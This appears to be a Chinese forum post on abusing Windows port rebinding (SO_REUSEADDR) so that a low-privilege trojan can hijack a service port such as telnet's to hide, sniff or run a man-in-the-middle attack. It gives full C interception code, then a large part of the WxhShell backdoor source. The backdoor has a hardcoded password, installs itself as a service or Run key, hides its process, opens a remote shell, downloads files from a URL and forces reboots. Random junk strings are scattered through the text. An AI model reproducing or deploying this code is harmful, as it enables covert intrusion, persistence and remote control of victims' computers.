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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !=,zy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?K2EK'-q  
t~K[`=G\ex  
  saddr.sin_family = AF_INET; 5ta;CG  
0F- +)S?M[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Uq'W<.v 5  
S{e3aqT#N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9<3}zwJ  
dg#Pb@7a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C|Gk}  
VV$#<D<)  
  这意味着什么?意味着可以进行如下的攻击: j?o6>j  
qvy*; <w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "DvZCf[}  
K7JZUS`C!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iVeH\a  
P~!,"rY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |gxPuAXa)  
GQYn |vm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]5a3e+  
fP4P'eI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `.~S/$a.&  
w<!,mL5 N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \l3z <\  
=d"5k DK-m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (fl$$$  
)mN/e+/Lu  
  #include 7\g#'#K  
  #include (:E@kpK  
  #include S`b!sT-sD  
  #include    ;/4x.t#b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dB#c$1  
  int main() pO)EYla9  
  { -lfDoNRhQ  
  WORD wVersionRequested; %4M,f.[e  
  DWORD ret; t D 8l0  
  WSADATA wsaData; xa]yq%  
  BOOL val;  _fn7-&6  
  SOCKADDR_IN saddr; PeiRe  
  SOCKADDR_IN scaddr; > JA-G@3i  
  int err; :!CnGKgt  
  SOCKET s; #=)>,6Z w  
  SOCKET sc; Zi]E!Tgn  
  int caddsize; Tzj v-9^V  
  HANDLE mt; 0w TOdCvmb  
  DWORD tid;   G!C }ULq  
  wVersionRequested = MAKEWORD( 2, 2 ); 58HAl_8W  
  err = WSAStartup( wVersionRequested, &wsaData ); =IX-n$d`>  
  if ( err != 0 ) { ;q%z\gA  
  printf("error!WSAStartup failed!\n"); l0t(t*[Mj  
  return -1; "v0bdaQH3  
  } d:A'|;']  
  saddr.sin_family = AF_INET; Ex]Ku  
   5Zhl@v,L%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |[#Qk 4Ttf  
b[:m[^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7p!f+\kM  
  saddr.sin_port = htons(23); m0.g}N-w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }zkFl{/u  
  { $A,YQH+  
  printf("error!socket failed!\n"); J_yXL7d  
  return -1; `w4'DB-R)  
  } U8>4ClJ4  
  val = TRUE; jFKp~`/#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (#85<|z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6Xo"?f  
  { 1K|F;p  
  printf("error!setsockopt failed!\n"); cotySio$  
  return -1; ppLLX1S  
  } gWjr|m<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lJfk4 -;M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *a8<cf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iYYuZ.  
,1CmB@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b$nev[`{6  
  { SQ+r'g  
  ret=GetLastError(); $g VbeQ  
  printf("error!bind failed!\n"); >;j&]]-&  
  return -1; W79.Nj2`  
  } qG~6YCqii  
  listen(s,2); `?l /HUw  
  while(1) _ 3>E+9TQ  
  { Qqj9o2  
  caddsize = sizeof(scaddr); >e-0A  
  //接受连接请求 w9"~NK8xzM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;{R;lF,  
  if(sc!=INVALID_SOCKET) jHHCJOHB8  
  { O+< +yQl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "8?Fl&=Q  
  if(mt==NULL) Dz2Z (EXI~  
  { }Cfl|t<5f  
  printf("Thread Creat Failed!\n"); |-*50j l  
  break; Us# /#-hJ  
  } @\oZ2sB  
  } hiV!/}'7  
  CloseHandle(mt); }{,Wha5\n  
  } up8d3  
  closesocket(s); >e.KD) qA  
  WSACleanup(); X6t9*|C  
  return 0; e_!Z-#\J%  
  }   hHDLrr  
  DWORD WINAPI ClientThread(LPVOID lpParam) bJ6C7-w:wa  
  { Q;q{1M>  
  SOCKET ss = (SOCKET)lpParam; T?Z^2.Pvc  
  SOCKET sc; \C>vj+!cJ  
  unsigned char buf[4096]; -nUK%a"(D  
  SOCKADDR_IN saddr; b-@9Xjv  
  long num; Lq.2vfA>  
  DWORD val; 14uv[z6  
  DWORD ret; f2Xn!]o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~@@$-,}X   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Xnh&Kyz`v  
  saddr.sin_family = AF_INET; ^PJN$BJx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <|G!Qn?2-  
  saddr.sin_port = htons(23); }$uwAevP{y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;iJxJX\+  
  { !.pcldx  
  printf("error!socket failed!\n"); } C/+zF6q  
  return -1; `Z{s,!z  
  } z_KCG2=5  
  val = 100; DMp@B]>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3'A0{(b  
  { fJk'5kv  
  ret = GetLastError(); Sj/v:  
  return -1; F9las#\J  
  } -U9C{q?h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ku}`PS0UGd  
  { o >yXEg  
  ret = GetLastError(); MwQt/Qv=  
  return -1; fiU#\%uJg  
  } *D[yA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %`lJAW[  
  { b"trg {e  
  printf("error!socket connect failed!\n"); &{qKoI]  
  closesocket(sc); {wz_ngQ  
  closesocket(ss); EDnZ/)6Gg  
  return -1; fF#Fc&B  
  } ;GOu'34j  
  while(1) [C;Neslo  
  { XUUP#<,s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BjTgZ98J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !SnLvW89Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '<ZHzDW@  
  num = recv(ss,buf,4096,0); kou7_4oS  
  if(num>0) 8s[1-l  
  send(sc,buf,num,0); -lv(@7o~  
  else if(num==0) $XkO\6kh  
  break; gyh8  
  num = recv(sc,buf,4096,0); V=1zk-XC  
  if(num>0) |:2B)X  
  send(ss,buf,num,0); fWri7|"0h  
  else if(num==0) tgl 4pAc  
  break; k w   
  } O kT@ _U  
  closesocket(ss); BE~-0g$W  
  closesocket(sc); _]D 6m2R  
  return 0 ; ! jDopE0L  
  } D8Mq '$-  
5.yiNWh  
II~91IEk  
========================================================== : vgn0 IQ  
aiE\r/k8s  
下边附上一个代码,,WXhSHELL <X& fs*x&  
vMJ(Ll7/  
========================================================== oaILh  
/PR 4ILed  
#include "stdafx.h" ?(Plb&kR  
O2 + K  
#include <stdio.h> vfmY >nr  
#include <string.h> !V/7q'&t=  
#include <windows.h> 2:nI4S  
#include <winsock2.h> w5/6+@}  
#include <winsvc.h> [>3dhj[;  
#include <urlmon.h> 9!Xp+<  
Cp>y<C"  
#pragma comment (lib, "Ws2_32.lib") CW/L(RQ  
#pragma comment (lib, "urlmon.lib") A9"!=/~  
^\J-LU|"B  
#define MAX_USER   100 // 最大客户端连接数 GY0OVAW6'c  
#define BUF_SOCK   200 // sock buffer R2 J A(Hn  
#define KEY_BUFF   255 // 输入 buffer 1 Qz@  
G^dzE/ :  
#define REBOOT     0   // 重启 Z d@B6R  
#define SHUTDOWN   1   // 关机 [EZ=tk  
Y(?SE< 4R  
#define DEF_PORT   5000 // 监听端口 |68/FJZ,5  
-O-?hsV)y  
#define REG_LEN     16   // 注册表键长度 g4+Hq *  
#define SVC_LEN     80   // NT服务名长度 .ns=jp  
:^>&t^E  
// 从dll定义API a+a6P5kJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /nX_Q?mo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IX<9_q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :7dc;WdM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '}bmDb*  
&o1k_!25  
// wxhshell配置信息 V*Xr}FE  
struct WSCFG { bs16G3- p  
  int ws_port;         // 监听端口 &k-NDh3  
  char ws_passstr[REG_LEN]; // 口令 7-u'x[=m  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q&?0 ^;r  
  char ws_regname[REG_LEN]; // 注册表键名 F8Mf,jnPs  
  char ws_svcname[REG_LEN]; // 服务名 #qD[dC$[t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C|3cQ{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NZ6:Zz M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sdyNJh7Jr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u$(ei2f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ({!H ()  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j?k|-0  
87eH~&<1  
}; h/8p2Mrqi  
VhAJ1[k4!  
// default Wxhshell configuration pQC|_T#u  
struct WSCFG wscfg={DEF_PORT, s| Q1;%T j  
    "xuhuanlingzhe", *n[B Bz  
    1, 7^LCP*  
    "Wxhshell", CQrP%}`r  
    "Wxhshell", *W>, 98  
            "WxhShell Service", Q1|zX@,  
    "Wrsky Windows CmdShell Service", PDCb(5  
    "Please Input Your Password: ", Ze#DFe$  
  1, 7-}5 W  
  "http://www.wrsky.com/wxhshell.exe", e+4Eiv  
  "Wxhshell.exe" imAOYEH7}  
    }; &}pF6eIar  
0G33hIOS  
// 消息定义模块 Cx.##n0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^=1u2YdVw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -o!bO9vC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U0{)goN.  
char *msg_ws_ext="\n\rExit."; %^nNt:N0  
char *msg_ws_end="\n\rQuit."; \+l_H4\`K  
char *msg_ws_boot="\n\rReboot..."; iDhC_F|  
char *msg_ws_poff="\n\rShutdown..."; DQ c\[Gq&  
char *msg_ws_down="\n\rSave to "; LXhR"PWZM\  
`ah|BV  
char *msg_ws_err="\n\rErr!"; "zCT S  
char *msg_ws_ok="\n\rOK!"; H=g%>W%3  
`<| <1,  
char ExeFile[MAX_PATH]; |>m'szca4  
int nUser = 0; 8c_X`0jy  
HANDLE handles[MAX_USER]; i ?uX'apk  
int OsIsNt; B I3fk  
<hTHY E=  
SERVICE_STATUS       serviceStatus; #M+_Lk3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^3H:I8gRCl  
|JHNFs  
// 函数声明 ,Oy$q~.  
int Install(void); T:H~Y+qnt  
int Uninstall(void); 9&`";dg  
int DownloadFile(char *sURL, SOCKET wsh); >7~*j4g  
int Boot(int flag); 4 m"0R\  
void HideProc(void); zH9*w:"4<_  
int GetOsVer(void); .cw)Y#;IG  
int Wxhshell(SOCKET wsl); M*Ej*#  
void TalkWithClient(void *cs); "+wkruC  
int CmdShell(SOCKET sock); S?C.:  
int StartFromService(void); iF837ng5  
int StartWxhshell(LPSTR lpCmdLine); op9vz[o#4  
OJJ [Er1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w%\{4T~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DG0I- "s  
!cM<&3/  
// 数据结构和表定义 "19#{yX4  
SERVICE_TABLE_ENTRY DispatchTable[] = *FZav2]-  
{ 4# ]g852  
{wscfg.ws_svcname, NTServiceMain}, M6^ \LtFt  
{NULL, NULL} cL;%2TMk  
}; HX}B#T  
3;> z %{  
// 自我安装 ]j6K3  
int Install(void) )cZHBG.0H  
{ .>.GQUr  
  char svExeFile[MAX_PATH]; #=33TvprR2  
  HKEY key;  G +41D  
  strcpy(svExeFile,ExeFile); bj6Yz,g F  
}Bsh!3D<.  
// 如果是win9x系统,修改注册表设为自启动 #)twk `!^  
if(!OsIsNt) { X"r.*fb;N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YZSQOLN{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ldv,(ZV,<  
  RegCloseKey(key); o$+R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -1v9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r Dlu&  
  RegCloseKey(key); Nq8 3 6HL  
  return 0; u~Po5W/i  
    } gW--[  
  } >wt.)c?5  
} kD%MFT4  
else { y%61xA`#  
bu_@A^ys  
// 如果是NT以上系统,安装为系统服务 d,(q 3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _X;,,VEV!  
if (schSCManager!=0) ZeU){CB  
{ 5p S$rf  
  SC_HANDLE schService = CreateService pUF JQ*  
  ( ' -Cx-=  
  schSCManager, &ZkJ,-  
  wscfg.ws_svcname, lX"m |W  
  wscfg.ws_svcdisp, 2y!aXk\#C  
  SERVICE_ALL_ACCESS, ^v cnDi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GA[D@Wy  
  SERVICE_AUTO_START, UI U:^g0  
  SERVICE_ERROR_NORMAL, /HhA2 (g%  
  svExeFile, fKqr$59>  
  NULL, bPP@  
  NULL, ipp`99  
  NULL, X{, mj"(w  
  NULL, ex1!7A!}g  
  NULL N|2d9E  
  ); a{^z= =  
  if (schService!=0) ]w _&%mB  
  { I]+ zG  
  CloseServiceHandle(schService); .FgeAxflP  
  CloseServiceHandle(schSCManager); vN],9 q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f'(F'TE  
  strcat(svExeFile,wscfg.ws_svcname); 3'`&D/n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y$n+\K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f77W{T4  
  RegCloseKey(key); %aK[Yvo6  
  return 0; Xy 4k;+  
    } )V[j~uOU)]  
  } )$9w Kk\F  
  CloseServiceHandle(schSCManager); .d^8?vo  
} 7qOkv1.}0  
} _B erHoQd  
g|?}a]G  
return 1; 5YNAb/! !F  
} 0|tyKP|J  
QK0]9   
// 自我卸载 JmK )Y# A  
int Uninstall(void) &&P9T/Zks  
{ *<:X3|3E  
  HKEY key; (_@5V_U  
<ml?DXT  
if(!OsIsNt) { 8~-TN1H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3))R91I  
  RegDeleteValue(key,wscfg.ws_regname); w`f66*@Q1  
  RegCloseKey(key); :LNZC,-f}5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U2<q dknB  
  RegDeleteValue(key,wscfg.ws_regname); H+Bon=$cE!  
  RegCloseKey(key);  =5B5  
  return 0; [#Gu?L_W  
  } *K$a;2WjzG  
} qg`ae  
} Zn r4^i&(  
else { 6:B,ir _  
]J!#"m-]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {Hl(t$3V`  
if (schSCManager!=0) U= f9b]Y  
{ h~Z &L2V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zc;kNkV#1Y  
  if (schService!=0) KO#kIM-  
  { k# Ho7rS&  
  if(DeleteService(schService)!=0) { kJf0..J[#<  
  CloseServiceHandle(schService); 5Wa)_@qI)`  
  CloseServiceHandle(schSCManager); =UK:83R(  
  return 0; E2w-b^,5  
  } )rj!/%  
  CloseServiceHandle(schService); 5~DKx7P!Z  
  } L3wj vq^  
  CloseServiceHandle(schSCManager); ]oSx]R>{f  
} YQ d($  
} fcF|m5  
C za }cF  
return 1; R"O%##Ws  
} ]f &]E ~i  
K3 BWj33  
// 从指定url下载文件 ~< UYJc  
int DownloadFile(char *sURL, SOCKET wsh) lrKT?siB  
{ ;0oL*d[1Z  
  HRESULT hr; Qfy_@w]  
char seps[]= "/"; z,m3U(  
char *token; _oBx:G6E  
char *file; ]] 0M  
char myURL[MAX_PATH]; |&Mo Qxw@  
char myFILE[MAX_PATH]; ZZ^A&%E(a  
`^8mGR>OpI  
strcpy(myURL,sURL); R+uZi~  
  token=strtok(myURL,seps); 3T]cDVQ_  
  while(token!=NULL) 7i xG{yu  
  { }DjVZ48  
    file=token; !\%JOf}  
  token=strtok(NULL,seps); oi7k#^  
  } = E_i  
Y]`=cR`/"  
GetCurrentDirectory(MAX_PATH,myFILE); FN!?o:|(  
strcat(myFILE, "\\"); *lLCH,  
strcat(myFILE, file); URm<Ji  
  send(wsh,myFILE,strlen(myFILE),0); ?_AX;z  
send(wsh,"...",3,0); @Nh}^D >j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CUpRtE8@[_  
  if(hr==S_OK) Y iuV\al  
return 0; &XCd2  
else Jf7H;ZM<  
return 1; U ^O4HJ  
2Q@n a @s  
} ZR3,dW6S  
['\R4H!x  
// 系统电源模块 6q>iPK Jt  
int Boot(int flag) K*Ba;"Ugeg  
{ !*&5O~dfN  
  HANDLE hToken; {4 vWSb  
  TOKEN_PRIVILEGES tkp; jA:'P~`Hj  
UIf#Gy|l  
  if(OsIsNt) { (NR( )2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `&fW<5-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =d5;F`m  
    tkp.PrivilegeCount = 1; >T [Y>]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hc\@{17   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h+H+>,N8`  
if(flag==REBOOT) { ^u$=<66  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !0zcS7&P  
  return 0; 4>L* 7i  
} dgX%NKv1  
else { x{w|Hy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ) aMiT  
  return 0; P6>C+T1  
} -b?M5P*:  
  } S m=ln)G=  
  else { mGDc,C=5:  
if(flag==REBOOT) { v:74iB$i/C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RZpjr !R  
  return 0; W!XBuk-  
} o?M;f\Fy  
else { 85|u;Fxf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >+i+_^]  
  return 0; X.#9[3U+  
} FPK=Tr:b  
} F)eP55C6  
V[WZ#u-p  
return 1; Vtj*O'0  
} A~>B?Wijqg  
4PS|  
// win9x进程隐藏模块 v4rO 0y=C  
void HideProc(void) GGHeC/4  
{ Iy*Q{H3[  
i}>EGmv m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NqKeQezX  
  if ( hKernel != NULL ) 8|i<4>  
  { c%b|+4 }x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m$_l{|4z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \A\?7#9\  
    FreeLibrary(hKernel); Txe*$T,(  
  } $d-yG553  
94 6r#`q  
return; e"sv_$*  
} #;8VBbc\^  
>HwVP.~HN  
// 获取操作系统版本 d<=!*#q;o  
int GetOsVer(void) /03 Wst  
{ P>~Usuf4  
  OSVERSIONINFO winfo; @Bkg<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RlvvO  
  GetVersionEx(&winfo); T&S=/cRBK}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^e]O >CJ  
  return 1; #>~A-k)  
  else w-km qh  
  return 0; gxI/MD~!>  
} Z{#3-O<a+n  
_RzoXn{1e  
// 客户端句柄模块 Imzh`SI,  
int Wxhshell(SOCKET wsl) a ge8I$*`@  
{ I=[09o  
  SOCKET wsh; *&_A4)  
  struct sockaddr_in client; l&W:t9o  
  DWORD myID; ,:-^O#  
}>,%El/  
  while(nUser<MAX_USER) VpbJe@*D  
{ bqF?!t<B  
  int nSize=sizeof(client); 4C:dkaDq]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {4[dHfIy  
  if(wsh==INVALID_SOCKET) return 1; ^ -~=U^2tC  
cyjgi /Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i[.7 8K-s  
if(handles[nUser]==0) SZtSUt(ss  
  closesocket(wsh); "=40%j0  
else 5mudww`  
  nUser++; _E-{*,7bZS  
  } 6b` Jq>v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6+s&%io4  
$j(4FyH\  
  return 0; X9" T(`  
} 'f %oL/,  
^pfM/LQ@  
// 关闭 socket 8"ZcKxDk  
void CloseIt(SOCKET wsh) v{1g`E  
{ 4>Q] \\Lc  
closesocket(wsh); jt3W.^6HO  
nUser--; $'#}f?  
ExitThread(0); /d }5R@Oy  
} 7n;a_Z0s$  
wc}x [cS  
// 客户端请求句柄 }+[!h=Bx  
void TalkWithClient(void *cs) ?"}U?m=  
{ l:#'i`;   
slr>6o%W`  
  SOCKET wsh=(SOCKET)cs; 0}k vuuR  
  char pwd[SVC_LEN]; 3_eg'EP.E  
  char cmd[KEY_BUFF]; f e^s`dsG  
char chr[1]; = K`]cEL  
int i,j; I;$tBgOWq  
!+ UXu]kA  
  while (nUser < MAX_USER) { n|QA\,=  
QqeF   
if(wscfg.ws_passstr) { "4*QA0As  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cZWW[i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4l/~::y  
  //ZeroMemory(pwd,KEY_BUFF); .Z17X_  
      i=0; 4h}\Kl  
  while(i<SVC_LEN) { IL*MB;0>  
J04R,B  
  // 设置超时 \naG  
  fd_set FdRead; :2{ [f+  
  struct timeval TimeOut; V*6&GM&  
  FD_ZERO(&FdRead); 98{n6$\  
  FD_SET(wsh,&FdRead); t#]VR7]  
  TimeOut.tv_sec=8; 8L@@UUjr  
  TimeOut.tv_usec=0; e5ww~%,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RD:LNl<0sh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); = j l( Q  
'@QK<!%,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d;r,?/C  
  pwd=chr[0]; 7:.!R^5H  
  if(chr[0]==0xd || chr[0]==0xa) { ;:)u rI?  
  pwd=0; 6H|T )  
  break; WCI'Kh   
  } PCKxo;bD  
  i++; fjQIuM  
    } kY~yA2*G  
,fm{ krE  
  // 如果是非法用户,关闭 socket TjctK [db@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KZ [:o,jp>  
} }L5;=A']S  
:f RGXrn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g87M"kQKA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <2+FE/3L  
` -<S13  
while(1) { z`8>$9  
VF"c}  
  ZeroMemory(cmd,KEY_BUFF); #Pq6q.UB  
<|a9r: [  
      // 自动支持客户端 telnet标准   2l8z/o7v  
  j=0; i}5+\t[Q  
  while(j<KEY_BUFF) { 57U;\L;ZmZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C[JPohm  
  cmd[j]=chr[0]; {JcMJZ3  
  if(chr[0]==0xa || chr[0]==0xd) { \FyHIs  
  cmd[j]=0; 3\P/4GK)  
  break; ~^eC?F(  
  } fhQ N;7  
  j++; -]MZP:s  
    } O<0-`=W,a  
|Gb~[6u   
  // 下载文件 w:9n/[  
  if(strstr(cmd,"http://")) { ^`(3X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X*:)]p(R  
  if(DownloadFile(cmd,wsh)) c5HW.3"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~eGtoEY  
  else Jz_`dLL^ w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qI\B;&hr(  
  } LoS%  FI  
  else { b=Q%Jxz?  
@,q<][q  
    switch(cmd[0]) { P-\T BS_O  
  }/.b@`Dh;  
  // 帮助 Y{m1\s/o  
  case '?': { \,b_8^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [-Mfgw]i  
    break; (Yc}V  
  } wQ9fPOm  
  // 安装 mY]R~:  
  case 'i': { 9t0NO-a  
    if(Install()) n11eJEtm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9uY$@7qH  
    else 2` h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %XWb|-=  
    break; EF'U`\gX  
    } XE*#5u8t  
  // 卸载  *U4eL-  
  case 'r': { lem\P_V)  
    if(Uninstall()) WAh{*$Rpl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *s"{JrG`O  
    else {UEZ:a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); as@I0e((  
    break; ?s{Pp  
    } 5A"OL6ty  
  // 显示 wxhshell 所在路径 Aj2yAg  
  case 'p': { ]4oF!S%F  
    char svExeFile[MAX_PATH]; <UO'&?G  
    strcpy(svExeFile,"\n\r"); +Tp>3Jh2  
      strcat(svExeFile,ExeFile); EWoGdH|  
        send(wsh,svExeFile,strlen(svExeFile),0); .AHww7  
    break; T$9tO{  
    } x-s]3'!L  
  // 重启 B976{;QvXV  
  case 'b': { sBu- \P#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 09rbu\h  
    if(Boot(REBOOT)) yi3Cd@t({{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t[^68]  
    else { @{UtS2L  
    closesocket(wsh); 9.$k^|~  
    ExitThread(0); &]HY:  
    } 3 +$~l5LY  
    break; :+\B|*T2.L  
    } \P0>TWE  
  // 关机 M&K'5G)7  
  case 'd': { PaYsn *{})  
